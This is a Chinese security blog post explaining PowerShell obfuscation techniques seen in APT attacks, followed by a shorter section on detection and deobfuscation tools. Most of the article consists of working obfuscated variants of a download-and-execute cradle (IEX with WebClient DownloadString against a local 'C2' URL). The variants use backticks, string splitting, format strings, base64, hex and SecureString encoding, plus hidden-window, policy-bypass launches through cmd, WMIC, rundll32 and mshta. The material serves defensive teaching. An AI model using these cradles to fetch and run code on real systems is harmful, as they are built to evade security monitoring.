前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >APT的思考: PowerShell命令混淆高级对抗

APT的思考: PowerShell命令混淆高级对抗

作者头像
七夜安全博客
发布2020-06-05 10:36:26
6.4K0
发布2020-06-05 10:36:26
举报
文章被收录于专栏:七夜安全博客

前言

良好的习惯是人生产生复利的有力助手

上一篇讲解了APT攻击中用到的cmd命令混淆,本篇延续上一篇的内容,分析一下攻击中更加常用的powershell混淆和检测方法。

powershell的功能强大且调用方式十分灵活,目前大多数攻击者已经将PowerShell 应用在各种攻击场景中,如内网渗透,APT攻击甚至勒索软件中,在和各种组件,例如cmd,rundll32, 配合使用后,对抗能力更加强大。

一.PowerShell混淆姿势

上一篇讲解的CMD的混淆姿势,相对Powershell少的太多,完全不在一个量级上,因此建立整个powershell的混淆体系,花费了不少时间,还好努力没有白费,让我对powershell混淆姿势有了整体的认知。

powershell混淆主要是针对以下三个方面的内容,分别为:

  1. 命令本身
  2. 函数与对象
  3. 参数

而powershell的混淆姿势,根据自己现有的知识储备,大致分为了8大类:

  1. 大小写与特殊符号
  2. 字符串变换
  3. 简写与invoke
  4. 变量变换
  5. 脚本块
  6. 编码
  7. 压缩
  8. 启动方式

每一大类又分成了很多子项。为了方便大家学习和思考,我将powershell混淆姿势和防御手段总结成了如下所示的一张思维导图,有的添加了例子,有的没有添加,图太长不容易看。

为了让大家能更清晰地学习Powershell混淆,我以下面powershell远程代码执行的例子作为原型进行混淆:

代码语言:javascript
复制
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")

其中“ http://127.0.0.1:8899/qiye.txt”为C2地址,使用Python -m SimpleHTTPServer 8899简易搭建:

qiye.txt的内容为:

代码语言:javascript
复制
Write-Host "qiye successfully  executed!!!`n`n" -NoNewLine -ForegroundColor Green

在powershell解释器中的运行效果如下:

以下我讲解的每种手法,代码都是多样的,我只是挑选其中一种实现功能的方式,大家不要被局限了,讲的是方法不是代码哈。

1. 大小写与特殊符号

1.1 任意大小写

这个没有什么好解释的,powershell大小写不敏感

代码语言:javascript
复制
INVOKE-Expression (New-Object SYStem.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt"))
1.2 反引号

反引号在powershell中是转义符,转义符号加在大部分字符前不影响字符的意思,从而实现混淆,不过有些例外:

代码语言:javascript
复制
0     Null
    `a    警报
    `b    退格
    `f    换页
    `n    换行
    `r    回车
    `t    水平制表
    `v    垂直制表

所以大家在使用反引号进行混淆的时候,不要把反引号加在上述的字母前面,不然会导致脚本无法运行。

代码语言:javascript
复制
Inv`o`ke-Ex`pr`e`s`sion (`New-Object `System.`Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")
1.3 括号与引号

我们可以通过添加括号或引号,将脚本中的对象和函数,转化为字符串执行,其中括号代替空格。

代码语言:javascript
复制
Invoke-Expression  (New-Object System.Net.WebClient).'DownloadString'("http://127.0.0.1:8899/qiye.txt")

或者

代码语言:javascript
复制
Invoke-Expression (New-Object("System.Net.WebClient")).DownloadString("http://127.0.0.1:8899/qiye.txt")
1.4 空白

在脚本中添加多余的空格是无关紧要的,不会影响脚本的运行,当然也不要乱填,不要影响正常的语法结构:

代码语言:javascript
复制
Invoke-Expression      (New-Object("System.Net.WebClient")).DownloadString(                      "http://127.0.0.1:8899/qiye.txt")
1.5 & ,. , {}

还有& ,. , {} 这三种符号,放到脚本块中说明。

2.字符串变换

2.1 拼接

使用引号进行分段拼接。

代码语言:javascript
复制
Invoke-Expression (New-Object System.Net.WebClient).DownloadString(('ht'+'tp:'+'//127.0'+'.0.1:88'+'9'+'9/'+'qiy'+'e.t'+'xt'))
2.2 反转

字符串反转:

reverseCmd[-1..-(reverseCmd.Length)]

代码语言:javascript
复制
$reverseCmd = ")'txt.eyiq/9988:1.0.0.721//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN.metsyS tcejbO-weN( noisserpxE-ekovnI";Invoke-Expression ($reverseCmd[-1..-($reverseCmd.Length)] -Join '')
2.3 分割/替换

字符串中的Split , Join,Replace。

代码语言:javascript
复制
$cmdWithDelim= "Invoke-Ex___pression (New-Object Syst___em.Net.WebClient).Download___String('http://127.0.0.1:8899/qiye.txt')";Invoke-Expression ($cmdWithDelim.Split("___") -Join '')

或者

代码语言:javascript
复制
$cmdWithDelim= "Invoke-Ex___pression (New-Object Syst___em.Net.WebClient).Download___String('http://127.0.0.1:8899/qiye.txt')";Invoke-Expression $cmdWithDelim.Replace("___","")
2.4 格式化

格式化指的是字符串占位符的使用,如果你用过Python,这很常见,可以任意打断字符串顺序。

代码语言:javascript
复制
Invoke-Expression (New-Object System.Net.WebClient).DownloadString(("{0}{4}{1}{6}{3}{7}{2}{8}{5}"-f 'http:','1','.1:8899','7.','//','iye.txt','2','0.0','/q'))

3. 简写与invoke

3.1 别名

在powershell解释器中输入alias,看到所有的对象和函数的简写方式,也就是别名。常见的Invoke-Expression 可以使用 IEX来代替。

3.2 省略

Net.WebClient=System.Net.WebClient

代码语言:javascript
复制
IEX (New-Object Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")
3.3 通配符*

New-Object 可以通过通配符*写成如下的多种形式:

  • &(Get-Command New-Obje*)
  • &(Get-Command *w-O*)
  • &(GCM *w-O*)
  • &(COMMAND *w-*ct)
代码语言:javascript
复制
Invoke-Expression (&(Get-Command New-Obje*)"Net.WebClient")."DownloadString"("http://127.0.0.1:8899/qiye.txt")
3.4 Invoke

Invoke本来不应该放到这的,但是发现也没有什么好位置,就随意一下,放这吧。Invoke可以帮助我们打断关键函数之间的关系。

代码语言:javascript
复制
IEX (New-Object Net.WebClient).("DownloadString").Invoke("http://127.0.0.1:8899/qiye.txt")

4. 变量变换

4.1 拼接与替换

将关键字拆分成多个变量,然后替换拼接。

代码语言:javascript
复制
$v1="System.Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2).DownloadString("http://127.0.0.1:8899/qiye.txt")
4.2 动态变量生成

以构建DownloadString 为例,通过遍历函数并模糊匹配的方式找到DownloadString ,用到了PsObject.Methods 和Where-Object。

代码语言:javascript
复制
IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*own*d*ing'}).Name).Invoke("http://127.0.0.1:8899/qiye.txt")
4.3 变量传递

变量传递常用的有四种方式:

  1. 环境变量
  2. 管道
  3. 粘贴板
  4. 还有隐蔽的进程参数

我主要说一下第4种,比较有创意,其他3种大家看思维导图即可。

第4种的想法是 启动多个进程,例如cmd.exe,将要执行的命令内容放到进程参数中,要执行代码的时候,直接过滤出所需进程,并通过进程参数拼接出真正的执行内容,

5. 脚本块

5.1 NewScriptBlock

通过 $ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx")的方式创建脚本块。

代码语言:javascript
复制
.($ExecutionContext.InvokeCommand.NewScriptBlock('IEX (New-Object Net.WebClient).("DownloadString").Invoke("http://127.0.0.1:8899/qiye.txt")'))
5.2 [Scriptblock]

[Scriptblock]相当于 [Type]("Scriptblock")

代码语言:javascript
复制
Invoke-Expression (New-Object ([type]("Net.WebClient"))).DownloadString("http://127.0.0.1:8899/qiye.txt")
5.3 其他方式
  • invoke-command{xxxx}
代码语言:javascript
复制
invoke-command{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}
  • ICM{xxxx}
代码语言:javascript
复制
ICM{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}
  • {xxxx}.invoke()
代码语言:javascript
复制
{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}.invoke()
  • &{xxxx}
代码语言:javascript
复制
&{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}
  • .{xxxx}
代码语言:javascript
复制
.{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}

6. 编码

6.1 base64

在powershell命令行中,使用-EncodedCommand,而在脚本中使用FromBase64String

代码语言:javascript
复制
IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAKABbAHQAeQBwAGUAXQAoACIATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAiACkAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOAA4ADkAOQAvAHEAaQB5AGUALgB0AHgAdAAiACkA')))
6.2 ASCII

使用[char]xx 代替字符 如:[char]59–>;

代码语言:javascript
复制
$cmd= "echo qiye___"; echo $cmd.Replace("___",[string]([char]59)) | IEX
6.3 进制+BXOR
进制
代码语言:javascript
复制
[Convert]::ToString(100, $digit)

$digit可以为2,8,16 ,从而实现十进制向其他进制的转换。还有通过占位符的方式:

代码语言:javascript
复制
"{0:X4}" -f 100

混淆后,瞬间头大:

代码语言:javascript
复制
('49}6eO76}6fq6bV65r2d!45r78q70}72W65%73W73!69}6f!6eW20r28%4eV65W77q2dq4f!62%6aW65r63O74%20}4eV65V74V2eq57W65V62%43V6cq69q65q6er74O29!2eq44}6f%77q6eO6cO6f!61%64q53r74O72}69!6eV67O28W22}68V74q74%70V3aW2fq2f}31W32}37O2e}30q2eq30}2er31q3a!38r38q39V39%2fW71}69W79r65}2eq74r78W74%22O29'-sPlIT 'W' -sPlit'V'-SpliT 'q' -SpliT 'r' -SPlIt'}'-SplIt'%'-sPLIT'O' -splIt '!'| fOREach { ([CONvERT]::tOInT16(( $_.tOsTrinG()) ,16)-as[CHAR]) })-JOIn ''|&( $sheLLID[1]+$ShELliD[13]+'X')
BXOR

bytes[i] = bytes[i] -BXOR 0xAA

6.4 SecureString

SecureString其实是一种加解密的方式,通过密钥,对脚本进行加解密 ,实现脚本的混淆。

代码语言:javascript
复制
$cmd= "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://127.0.0.1:8899/qiye.txt')"

$secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force

$secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)

$secCmd= $secCmdPlaintext| ConvertTo-SecureString -Key (1..16);

([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secCmd))) | IEX

7.压缩

通过DeComPress对压缩后的脚本解压执行。

8.启动方式

通过第三方组件进行启动,进一步隐藏真实内容:CMD:

代码语言:javascript
复制
C:\WiNDOws\SYStem32\CmD  /C   POWerSHElL  -wInDoWsTyle  HidDen -eXecutIoNp ByPaSs   "Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\"http://127.0.0.1:8899/qiye.txt\")"

WMIC:

代码语言:javascript
复制
C:\WINdOws\sySTeM32\wBEM\WmIC 'PRoCESS'   'Call'   'cREatE' "POwERshElL -ExECuti ByPASs  -wi hiDDEN   Invoke-Expression (New-Object System.Net.WebClient).DownloadString("\"http://127.0.0.1:8899/qiye.txt"\")"

rundll32:

代码语言:javascript
复制
rUNdLL32 SHELL32.DLL ShellExec_RunDLL  "PowerSHELL"   "  -wIN  HIDdeN "   "  -ExeCUTion  BYPaSS"    "Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\"http://127.0.0.1:8899/qiye.txt\")"

Mshta++:

代码语言:javascript
复制
c:\WindoWS\sysTeM32\cmd   /c"sEt   uJB=Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")&&C:\WIndOWS\SYSTEM32\MSHta VBScRiPt:CREAteOBJEcT("WScr"+"i"+"Pt."+"SH"+"ell").Run("pOwerSHELL -wIndoW H -eXEcuti  bypaSS    ${eXEcuTioNconText}.'iNvokEcomMaNd'.(  '{1}{0}{2}' -f 'escR','inVoK','IPt' ).Invoke(   (  ^&  (  '{2}{0}{1}'-f 't','-item','GE') ( '{1}{0}{2}' -f':','eNV','UJB' )).'vAlue'  )",8-1-6,TRUe)(WiNDOW.CLosE)"

混淆神器

和上一篇cmd混淆一样,基于上述的原理,安全大牛创造了 专门的PowerShell混淆工具,高深的命令混淆批量生产,卖成了白菜价。项目地址:

https://github.com/danielbohannon/Invoke-Obfuscation

拥有多种混淆方式,基本上涵盖了上述的混淆方法,同时还有没提到的基于语法树AST的混淆方式,改变代码逻辑。

支持TOKEN,AST语法树,字符串,编码,压缩,启动方式等功能,有良好的教程指导,还是非常好上手的。

二.防御手段

防御手段主要分为两个层次,第一种比较浅的层次是对混淆进行检测,仅仅是判断是否混淆,另一种是比较深的层次是对混淆进行还原,可以判断出脚本本身是否恶意。

混淆检测

1.静态规则检测

根据上述混淆的方式,提取关键特征分支进行系统化分析,已知做的比较好的是如下的开源项目,是组内大佬设计的。

https://github.com/We5ter/Flerken

这是一种跨平台的解决方案, 能检测CMD,shell,powershell等多场景的命令混淆方式。静态检测的方式,对于动态生成+微混淆 的命令检测能力较弱。

2.基于语法树检测

从原理上来说,基于语法树检测,更胜一筹,但是到底做的好不好,还是要大规模样本检验。

https://github.com/danielbohannon/Revoke-Obfuscation

试用一下,对通过格式化混淆的手法进行检测:

代码语言:javascript
复制
.("{4}{1}{0}{2}{3}" -f 'Express','-','io','n','Invoke') (&("{2}{0}{3}{1}"-f 'e','-Object','N','w') System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")
3.机器学习

自从机器学习火了之后,各种问题都开始尝试使用机器学习来做了。机器学习可以覆盖大多数的样本是没有问题的,但是很难经得起对抗。之前做过webshell的AI模型,webshell的AI模型顾全局而失细节,正常文件+微混淆,基本上都可以绕过。推荐两篇文章:

https://bbs.pediy.com/thread-248034.htm

https://www.4hou.com/posts/G8pJ

混淆还原

混淆还原除了微软推出的AMSI,我最喜欢的就是Unit42安全团队在Github上公开的自己研发的powershell自动反混淆工具,真的很强大。

https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler

还是以下面这段脚本为例:

代码语言:javascript
复制
.("{4}{1}{0}{2}{3}" -f 'Express','-','io','n','Invoke') (&("{2}{0}{3}{1}"-f 'e','-Object','N','w') System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")

powershellprofiler工具,不仅将脚本还原,而且还分析出脚本的行为,并打分,用起来真的舒服。

篇幅有限,下次有时间可以给大家分析一下这个脚本,还有AMSI的对抗方式

参考文献

https://www.secpulse.com/archives/117576.html https://www.freebuf.com/sectool/136328.html https://bbs.pediy.com/thread-248034.htm https://www.4hou.com/posts/G8pJ https://www.chainnews.com/articles/075661407787.htm https://www.anquanke.com/post/id/86637 https://www.bookstack.cn/read/Powershell-Attack-Guide/ch10.md

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-06-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七夜安全博客 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 一.PowerShell混淆姿势
    • 1. 大小写与特殊符号
      • 1.1 任意大小写
      • 1.2 反引号
      • 1.3 括号与引号
      • 1.4 空白
      • 1.5 & ,. , {}
    • 2.字符串变换
      • 2.1 拼接
      • 2.2 反转
      • 2.3 分割/替换
      • 2.4 格式化
    • 3. 简写与invoke
      • 3.1 别名
      • 3.2 省略
      • 3.3 通配符*
      • 3.4 Invoke
    • 4. 变量变换
      • 4.1 拼接与替换
      • 4.2 动态变量生成
      • 4.3 变量传递
    • 5. 脚本块
      • 5.1 NewScriptBlock
      • 5.2 [Scriptblock]
      • 5.3 其他方式
    • 6. 编码
      • 6.1 base64
      • 6.2 ASCII
      • 6.3 进制+BXOR
      • 6.4 SecureString
    • 7.压缩
      • 8.启动方式
        • 混淆神器
        • 二.防御手段
          • 混淆检测
            • 1.静态规则检测
            • 2.基于语法树检测
            • 3.机器学习
          • 混淆还原
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档